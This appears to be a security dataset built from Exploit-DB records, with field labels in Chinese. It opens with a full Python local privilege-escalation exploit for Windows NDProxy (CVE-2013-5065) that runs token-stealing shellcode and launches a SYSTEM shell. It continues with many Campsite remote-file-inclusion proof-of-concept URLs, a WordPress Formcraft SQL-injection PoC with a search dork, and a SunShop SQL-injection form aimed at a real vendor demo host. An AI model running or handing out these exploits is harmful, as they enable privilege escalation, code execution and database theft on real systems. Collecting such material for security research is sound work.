QLWD/code_shield huggingface dataset:
标题: Microsoft Windows - 'NDPROXY' SYSTEM Privilege Escalation (MS14-002) EDB-ID: 30014 CVE: 2013-5065 类型: LOCAL 平台: WINDOWS 发布日期: 2013-12-03 漏洞利用脚本: # NDPROXY Local SYSTEM privilege escalation
# http://www.offensive-security.com
# Tested on Windows XP SP3
# http://www.offensive-security.com/vulndev/ndproxy-local-system-exploit-cve-2013-5065/


# Original crash ... null pointer dereference
# Access violation - code c0000005 (!!! second chance !!!)
# 00000038 ??              ???

from ctypes import *
from ctypes.wintypes import *
import os, sys

kernel32 = windll.kernel32
ntdll = windll.ntdll

GENERIC_READ     = 0x80000000
GENERIC_WRITE    = 0x40000000
FILE_SHARE_READ  = 0x00000001
FILE_SHARE_WRITE = 0x00000002
NULL = 0x0
OPEN_EXISTING = 0x3
PROCESS_VM_WRITE            = 0x0020
PROCESS_VM_READ             = 0x0010
MEM_COMMIT                  = 0x00001000
MEM_RESERVE                 = 0x00002000
MEM_FREE                    = 0x00010000
PAGE_EXECUTE_READWRITE      = 0x00000040
PROCESS_ALL_ACCESS          = 2097151
FORMAT_MESSAGE_FROM_SYSTEM  = 0x00001000
baseadd = c_int(0x00000001)
MEMRES = (0x1000 | 0x2000)
MEM_DECOMMIT = 0x4000
PAGEEXE = 0x00000040
null_size = c_int(0x1000)
STATUS_SUCCESS = 0

def log(msg):
    print msg

def getLastError():
    """[-] Format GetLastError"""
    buf = create_string_buffer(2048)
    if kernel32.FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL,
            kernel32.GetLastError(), 0,
            buf, sizeof(buf), NULL):
        log(buf.value)
    else:
        log("[-] Unknown Error")

print "[*] Microsoft Windows NDProxy CVE-2013-5065 0day"
print "[*] Vulnerability found in the wild"
print "[*] Coded by Offensive Security"       
        
tmp = ("\x00"*4)*5 + "\x25\x01\x03\x07" + "\x00"*4 + "\x34\x00\x00\x00" + "\x00"*(84-24)
InBuf = c_char_p(tmp)

dwStatus = ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(baseadd), 0x0, byref(null_size), MEMRES, PAGEEXE)
if dwStatus != STATUS_SUCCESS:
    print "[+] Something went wrong while allocating the null paged memory: %s" % dwStatus
    getLastError()
written = c_ulong()
sh = "\x90\x33\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x44\x8B\xC8\x8B\x80\x88\x00\x00\x00\x2D\x88\x00\x00\x00\x83\xB8\x84\x00\x00\x00\x04\x75\xEC\x8B\x90\xC8\x00\x00\x00\x89\x91\xC8\x00\x00\x00\xC3"
sc = "\x90"*0x38 + "\x3c\x00\x00\x00" + "\x90"*4 + sh + "\xcc"*(0x400-0x3c-4-len(sh))
alloc = kernel32.WriteProcessMemory(0xFFFFFFFF, 0x00000001, sc, 0x400, byref(written))
if alloc == 0:
    print "[+] Something went wrong while writing our junk to the null paged memory: %s" % alloc
    getLastError()

dwRetBytes = DWORD(0)
DEVICE_NAME   = "\\\\.\\NDProxy"
hdev = kernel32.CreateFileA(DEVICE_NAME, 0, 0, None, OPEN_EXISTING , 0, None)
if hdev == -1:
 print "[-] Couldn't open the device... :("
 sys.exit()
kernel32.DeviceIoControl(hdev, 0x8fff23cc, InBuf, 0x54, InBuf, 0x24, byref(dwRetBytes), 0)
kernel32.CloseHandle(hdev)
print "[+] Spawning SYSTEM Shell..."
os.system("start /d \"C:\\windows\\system32\" cmd.exe") URL: https://www.exploit-db.com/exploits/30014
标题: Campsite 2.6.1 - '/implementation/Management/configuration.php?g_documentRoot' Remote File Inclusion EDB-ID: 30003 CVE: 2006-5911 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23874/info
                                  
Campsite is prone to multiple remote file-include vulnerabilities.
                                  
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                                  
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/configuration.php?g_DocumentRoot=shell.txt? URL: https://www.exploit-db.com/exploits/30003
标题: Campsite 2.6.1 - 'LocalizerConfig.php?g_documentRoot' Remote File Inclusion EDB-ID: 30005 CVE: 2006-5911 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23874/info
                                    
Campsite is prone to multiple remote file-include vulnerabilities.
                                    
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                                    
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/priv/localizer/LocalizerConfig.php?g_DocumentRoot=shell.txt? URL: https://www.exploit-db.com/exploits/30005
标题: Campsite 2.6.1 - 'UserType.php?g_documentRoot' Remote File Inclusion EDB-ID: 29999 CVE: 2006-5911 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23874/info
                                 
Campsite is prone to multiple remote file-include vulnerabilities.
                                 
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                                 
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/UserType.php?g_DocumentRoot=shell.txt? URL: https://www.exploit-db.com/exploits/29999
标题: Campsite 2.6.1 - 'topic.php?g_documentRoot' Remote File Inclusion EDB-ID: 29996 CVE: 2006-5911 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23874/info
                              
Campsite is prone to multiple remote file-include vulnerabilities.
                              
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                              
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/Topic.php?g_DocumentRoot=shell.txt? URL: https://www.exploit-db.com/exploits/29996
标题: Campsite 2.6.1 - '/implementation/Management/db_connect.php?g_documentRoot' Remote File Inclusion EDB-ID: 30004 CVE: 2006-5911 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23874/info
                                   
Campsite is prone to multiple remote file-include vulnerabilities.
                                   
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                                   
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/db_connect.php?g_DocumentRoot=shell.txt? URL: https://www.exploit-db.com/exploits/30004
标题: Campsite 2.6.1 - 'user.php?g_documentRoot' Remote File Inclusion EDB-ID: 29998 CVE: 2006-5911 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23874/info
                                
Campsite is prone to multiple remote file-include vulnerabilities.
                                
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                                
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/User.php?g_DocumentRoot=shell.txt? URL: https://www.exploit-db.com/exploits/29998
标题: Campsite 2.6.1 - 'SystemPref.php?g_documentRoot' Remote File Inclusion EDB-ID: 29993 CVE: 2006-5911 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23874/info
                           
Campsite is prone to multiple remote file-include vulnerabilities.
                           
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                           
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/SystemPref.php?g_DocumentRoot=shell.txt? URL: https://www.exploit-db.com/exploits/29993
标题: Campsite 2.6.1 - 'Subscription.php?g_documentRoot' Remote File Inclusion EDB-ID: 29990 CVE: 2006-5911 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23874/info
                        
Campsite is prone to multiple remote file-include vulnerabilities.
                        
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                        
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/Subscription.php?g_DocumentRoot=shell.txt? URL: https://www.exploit-db.com/exploits/29990
标题: Campsite 2.6.1 - 'template.php?g_documentRoot' Remote File Inclusion EDB-ID: 29994 CVE: 2006-5911 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23874/info
                            
Campsite is prone to multiple remote file-include vulnerabilities.
                            
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                            
This issue affects Campsite 2.6.1. Earlier versions may also be affected.
 
http://www.example.com/classes/Template.php?g_DocumentRoot=shell.txt? URL: https://www.exploit-db.com/exploits/29994
标题: Campsite 2.6.1 - 'SubscriptionSection.php?g_documentRoot' Remote File Inclusion EDB-ID: 29992 CVE: 2006-5911 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23874/info
                          
Campsite is prone to multiple remote file-include vulnerabilities.
                          
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                          
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/SubscriptionSection.php?g_DocumentRoot=shell.txt? URL: https://www.exploit-db.com/exploits/29992
标题: Campsite 2.6.1 - 'UrlType.php?g_documentRoot' Remote File Inclusion EDB-ID: 29997 CVE: 2006-5911 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23874/info
                               
Campsite is prone to multiple remote file-include vulnerabilities.
                               
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                               
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/UrlType.php?g_DocumentRoot=shell.txt? URL: https://www.exploit-db.com/exploits/29997
标题: Campsite 2.6.1 - 'SubscriptionDefaultTime.php?g_documentRoot' Remote File Inclusion EDB-ID: 29991 CVE: 2006-5911 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23874/info
                         
Campsite is prone to multiple remote file-include vulnerabilities.
                         
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                         
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/SubscriptionDefaultTime.php?g_DocumentRoot=shell.txt? URL: https://www.exploit-db.com/exploits/29991
标题: WordPress Plugin Formcraft - SQL Injection EDB-ID: 30002 CVE: 2013-7187 类型: WEBAPPS 平台: PHP 发布日期: 2013-12-02 漏洞利用脚本: #######################################################################
# Exploit Title : Wordpress formcraft Plugin Sql Injection
#
# Exploit Author : Ashiyane Digital Security Team
#
# Google Dork : inurl:/wp-content/plugins/formcraft
#
# Software Link : www.wordpress.org
#
# Tested on: Windows , Linux
#
# Date: 2013/12/2
#
#############################################
# Exploit : Sql Injection
#
# Location1:
[Target]/wp-content/plugins/formcraft/form.php?id=[Sql]
#
#
#
# Exploit-DB Note:
# A PoC: form.php?id=1%20and%20 1=1
##########################################

##############
Milad Hacking

We Love Mohammad
############## URL: https://www.exploit-db.com/exploits/30002
标题: Campsite 2.6.1 - 'TimeUnit.php?g_documentRoot' Remote File Inclusion EDB-ID: 29995 CVE: 2006-5911 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23874/info
                             
Campsite is prone to multiple remote file-include vulnerabilities.
                             
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                             
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/TimeUnit.php?g_DocumentRoot=shell.txt? URL: https://www.exploit-db.com/exploits/29995
标题: Campsite 2.6.1 - 'IssuePublish.php?g_documentRoot' Remote File Inclusion EDB-ID: 29983 CVE: 2006-5911 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23874/info
                 
Campsite is prone to multiple remote file-include vulnerabilities.
                 
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                 
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/IssuePublish.php?g_DocumentRoot=shell.txt? URL: https://www.exploit-db.com/exploits/29983
标题: Campsite 2.6.1 - 'Publication.php?g_documentRoot' Remote File Inclusion EDB-ID: 29987 CVE: 2006-5911 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23874/info
                     
Campsite is prone to multiple remote file-include vulnerabilities.
                     
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                     
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/Publication.php?g_DocumentRoot=shell.txt? URL: https://www.exploit-db.com/exploits/29987
标题: Campsite 2.6.1 - 'LoginAttempts.php?g_documentRoot' Remote File Inclusion EDB-ID: 29986 CVE: 2006-5911 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23874/info
                    
Campsite is prone to multiple remote file-include vulnerabilities.
                    
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                    
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/LoginAttempts.php?g_DocumentRoot=shell.txt? URL: https://www.exploit-db.com/exploits/29986
标题: Campsite 2.6.1 - 'Log.php?g_documentRoot' Remote File Inclusion EDB-ID: 29985 CVE: 2006-5911 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23874/info
                   
Campsite is prone to multiple remote file-include vulnerabilities.
                   
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                   
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/Log.php?g_DocumentRoot=shell.txt? URL: https://www.exploit-db.com/exploits/29985
标题: Campsite 2.6.1 - 'ShortURL.php?g_documentRoot' Remote File Inclusion EDB-ID: 29989 CVE: 2006-5911 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23874/info
                       
Campsite is prone to multiple remote file-include vulnerabilities.
                       
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                       
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/ShortURL.php?g_DocumentRoot=shell.txt? URL: https://www.exploit-db.com/exploits/29989
标题: Campsite 2.6.1 - 'Event.php?g_documentRoot' Remote File Inclusion EDB-ID: 29979 CVE: 2006-5911 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23874/info
             
Campsite is prone to multiple remote file-include vulnerabilities.
             
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
             
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/Event.php?g_DocumentRoot=shell.txt? URL: https://www.exploit-db.com/exploits/29979
标题: Campsite 2.6.1 - 'ArticleType.php?g_documentRoot' Remote File Inclusion EDB-ID: 29975 CVE: 2006-5911 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23874/info
         
Campsite is prone to multiple remote file-include vulnerabilities.
         
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
         
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/ArticleType.php?g_DocumentRoot=shell.txt? URL: https://www.exploit-db.com/exploits/29975
标题: Campsite 2.6.1 - 'Section.php?g_documentRoot' Remote File Inclusion EDB-ID: 29988 CVE: 2006-5911 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23874/info
                      
Campsite is prone to multiple remote file-include vulnerabilities.
                      
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                      
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/Section.php?g_DocumentRoot=shell.txt? URL: https://www.exploit-db.com/exploits/29988
标题: Campsite 2.6.1 - 'Language.php?g_documentRoot' Remote File Inclusion EDB-ID: 29984 CVE: 2006-5911 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23874/info
                  
Campsite is prone to multiple remote file-include vulnerabilities.
                  
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                  
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/Language.php?g_DocumentRoot=shell.txt? URL: https://www.exploit-db.com/exploits/29984
标题: Campsite 2.6.1 - 'image.php?g_documentRoot' Remote File Inclusion EDB-ID: 29981 CVE: 2006-5911 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23874/info
               
Campsite is prone to multiple remote file-include vulnerabilities.
               
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
               
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/Image.php?g_DocumentRoot=shell.txt? URL: https://www.exploit-db.com/exploits/29981
标题: Campsite 2.6.1 - 'IPAccess.php?g_documentRoot' Remote File Inclusion EDB-ID: 29980 CVE: 2006-5911 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23874/info
              
Campsite is prone to multiple remote file-include vulnerabilities.
              
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
              
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/IPAccess.php?g_DocumentRoot=shell.txt? URL: https://www.exploit-db.com/exploits/29980
标题: Campsite 2.6.1 - 'ArticleTypeField.php?g_documentRoot' Remote File Inclusion EDB-ID: 29976 CVE: 2006-5911 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23874/info
          
Campsite is prone to multiple remote file-include vulnerabilities.
          
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
          
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/ArticleTypeField.php?g_DocumentRoot=shell.txt? URL: https://www.exploit-db.com/exploits/29976
标题: Campsite 2.6.1 - 'Country.php?g_documentRoot' Remote File Inclusion EDB-ID: 29977 CVE: 2006-5911 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23874/info
           
Campsite is prone to multiple remote file-include vulnerabilities.
           
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
           
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/Country.php?g_DocumentRoot=shell.txt? URL: https://www.exploit-db.com/exploits/29977
标题: Campsite 2.6.1 - 'issue.php?g_documentRoot' Remote File Inclusion EDB-ID: 29982 CVE: 2006-5911 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23874/info
                
Campsite is prone to multiple remote file-include vulnerabilities.
                
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/Issue.php?g_DocumentRoot=shell.txt? URL: https://www.exploit-db.com/exploits/29982
标题: Campsite 2.6.1 - 'DatabaseObject.php?g_documentRoot' Remote File Inclusion EDB-ID: 29978 CVE: 2006-5911 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23874/info
            
Campsite is prone to multiple remote file-include vulnerabilities.
            
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
            
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/DatabaseObject.php?g_DocumentRoot=shell.txt? URL: https://www.exploit-db.com/exploits/29978
标题: Campsite 2.6.1 - 'ArticleComment.php?g_documentRoot' Remote File Inclusion EDB-ID: 29969 CVE: 2006-5911 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23874/info
   
Campsite is prone to multiple remote file-include vulnerabilities.
   
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
   
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/ArticleComment.php?g_DocumentRoot=shell.txt? URL: https://www.exploit-db.com/exploits/29969
标题: Campsite 2.6.1 - 'ArticleIndex.php?g_documentRoot' Remote File Inclusion EDB-ID: 29972 CVE: 2006-5911 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23874/info
      
Campsite is prone to multiple remote file-include vulnerabilities.
      
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
      
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/ArticleIndex.php?g_DocumentRoot=shell.txt? URL: https://www.exploit-db.com/exploits/29972
标题: Campsite 2.6.1 - 'ArticleTopic.php?g_documentRoot' Remote File Inclusion EDB-ID: 29974 CVE: 2006-5911 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23874/info
        
Campsite is prone to multiple remote file-include vulnerabilities.
        
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
        
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/ArticleTopic.php?g_DocumentRoot=shell.txt? URL: https://www.exploit-db.com/exploits/29974
标题: SunShop Shopping Cart 4.0 - 'index.php' Multiple SQL Injections EDB-ID: 29960 CVE: 2007-2549 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/23856/info

TurnkeyWebTools SunShop Shopping Cart is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, bypass the authentication mechanism, access or modify data, or exploit latent vulnerabilities in the underlying database implementation. Other attacks are also possible.

SunShop Shopping Cart v4 is reported vulnerable; other versions may also be affected. 

<form action="http://demos.turnkeywebtools.com/ss4/index.php" method="post">
<input name="c" size=75 value="'">
<input name="pg" type="hidden" value="1">
<input name="l" type="hidden" value="product_list">
<input type=submit value="Execute SQL Injection on variable 'c' in index.php" class="button">
</form> URL: https://www.exploit-db.com/exploits/29960